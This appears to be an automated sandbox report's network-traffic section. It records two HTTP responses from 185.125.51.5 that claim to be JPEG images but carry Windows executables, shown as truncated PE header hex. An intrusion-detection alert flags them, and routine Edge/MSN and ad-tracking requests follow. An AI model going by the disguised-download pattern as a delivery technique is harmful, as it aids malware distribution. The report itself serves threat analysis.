00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 08 Jan 2025 15:18:14 GMTServer: Apache/2Upgrade: h2,h2cConnection: UpgradeLast-Modified: Sun, 01 Dec 2024 09:23:14 GMTETag: "515a00-62831fb3f4480"Accept-Ranges: bytesContent-Length: 5331456Content-Type: image/jpegData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e9 1c e7 68 ad 7d 89 3b ad 7d 89 3b ad 7d 89 3b c2 0b 22 3b a5 7d 89 3b c2 0b 23 3b ae 7d 89 3b b6 e0 13 3b ac 7d 89 3b c2 0b 14 3b ac 7d 89 3b 52 69 63 68 ad 7d 89 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e2 58 c7 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0a 00 00 2a 00 00 00 30 51 00 00 54 25 01 e5 1c 00 00 00 10 00 00 00 40 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 76 01 00 04 00 00 cd bd 51 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 76 01 8c 00 00 00 00 a0 25 01 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 77 28 00 00 00 10 00 00 00 2a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 00 54 25 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 64 61 74 61 00 00 fa 02 00 00 00 a0 25 01 00 04 00 00 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 dc 26 51 00 00 b0 25 01 00 24 51 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 00 03 00 00 00 e0 76 01 00 04 00 00 00 56 51 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 08 Jan 2025 15:18:21 GMTServer: Apache/2Upgrade: h2,h2cConnection: UpgradeLast-Modified: Sun, 01 Dec 2024 14:22:40 GMTETag: "cb190-628362a1aac00"Accept-Ranges: bytesContent-Length: 831888Content-Type: image/jpegData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 2d 82 c1 ed 69 e3 af be 69 e3 af be 69 e3 af be d4 ac 39 be 6b e3 af be 60 9b 3a be 77 e3 af be 60 9b 2c be db e3 af be 60 9b 2b be 50 e3 af be 4e 25 c2 be 63 e3 af be 4e 25 d4 be 48 e3 af be 69 e3 ae be 64 e1 af be 60 9b 20 be 2f e3 af be 77 b1 3a be 6b e3 af be 77 b1 3b be 68 e3 af be 69 e3 38 be 68 e3 af be 60 9b 3e be 68 e3 af be 52 69 63 68 69 e3 af be 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 15 16 c8 4b 00 00 00 00 00 00 00 00 e0 00 23 01 0b 01 09 00 00 02 08 00 00 fa 02 00 00 00 00 00 10 63 01 00 00 10 00 00 00 20 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 70 0c 00 00 04 00 00 7c 20 0d 00 02 00 00 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c cd 08 00 54 01 00 00 00 b0 0a 00 1c b6 01 00 00 00 00 00 00 00 00 00 f8 a1 0c 00 98 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 08 00 40 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 17 00 08 00 00 10 00 00 00 02 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5c d9 00 00 00 20 08 00 00 da 00 00 00 06 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 a5 01 00 00 00 09 00 00 68 00 00 00 e0 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 1c b6 01 00 00 b0 0a 00 00 b8 01 00 00 48 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

ASN Name: INPLATLABS-ASRU INPLATLABS-ASRU

Source: Joe Sandbox View

JA3 fingerprint: c91bde19008eefabce276152ccd51457

Source: Network traffic

Suricata IDS: 2008754 - Severity 1 - ET MALWARE Possible Rar'd Malware sent when remote host claims to send an Image : 185.125.51.5:80 -> 192.168.11.20:49720

Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1 HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/SSR-extension.489618fee28203b75117.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Device-Memory: 8Origin: https://ntp.msn.comsec-ch-ua-model: rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "94.0.992.31"sec-ch-ua-platform-version: "10.0.0"downlink: 1.6sec-ch-ua-bitness: "64"ect: 4gsec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_ETH=1; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; MUIDB=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/web-worker.b60625d95d09d3873a85.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Device-Memory: 8sec-ch-ua-model: rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "94.0.992.31"sec-ch-ua-platform-version: "10.0.0"downlink: 1.6sec-ch-ua-bitness: "64"ect: 4gsec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_ETH=1; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; MUIDB=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.80e71276f1bec5cb9e6b.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/microsoft.7fc3109769390e0f7912.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/experience.810dd47fbaae315d26bb.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common.2ac491e0cd85a6452d09.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_ETH=1; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1736349529173&udc=true&pg.n=FRE&pg.t=dhp&pg.c=2083&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=b25d3f03ced44bf6925dc8ded78e8089&activityId=b25d3f03ced44bf6925dc8ded78e8089&d.imd=false&scr=1024x768&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_ETH=1; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1736349529174&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1%26content%3D1%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=37FD034F4FC568D43F2E16214E436968&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b2?rn=1736349529174&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1%26content%3D1%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=37FD034F4FC568D43F2E16214E436968&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: UID=1B924166339376392b7007c1736349530
Source: global traffic	HTTP traffic detected: OPTIONS /api/report?cat=msn HTTP/1.1Host: deff.nelreports.netConnection: keep-aliveOrigin: https://assets.msn.comAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349529172&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 3842sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_ETH=1; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /sg/msn/1/cm?taboola_hm=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1Host: trc.taboola.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uidmappixel?ext_uid=37FD034F4FC568D43F2E16214E436968&pname=MSN&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.outbrain.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1736349529173&udc=true&pg.n=FRE&pg.t=dhp&pg.c=2083&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=b25d3f03ced44bf6925dc8ded78e8089&activityId=b25d3f03ced44bf6925dc8ded78e8089&d.imd=false&scr=1024x768&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=99DEB9607E1443D08D3647A5D960D828&MUID=37FD034F4FC568D43F2E16214E436968 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: OPTIONS /auction HTTP/1.1Host: srtb.msn.comConnection: keep-aliveAccept: /Access-Control-Request-Method: POSTAccess-Control-Request-Headers: cache-control,content-type,x-ms-flightid,x-msedge-clientid,x-msedge-marketOrigin: https://ntp.msn.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31Sec-Fetch-Mode: corsSec-Fetch-Site: same-siteSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cksync.php?type=nms&cs=3&ovsid=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1Host: hbx.media.netConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/1.1Host: px.ads.linkedin.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /m?cdsp=516415&c=37FD034F4FC568D43F2E16214E436968&mode=inverse&msn_src=ntp&&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.mgid.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/msn?gdpr=0&gdpr_consent= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
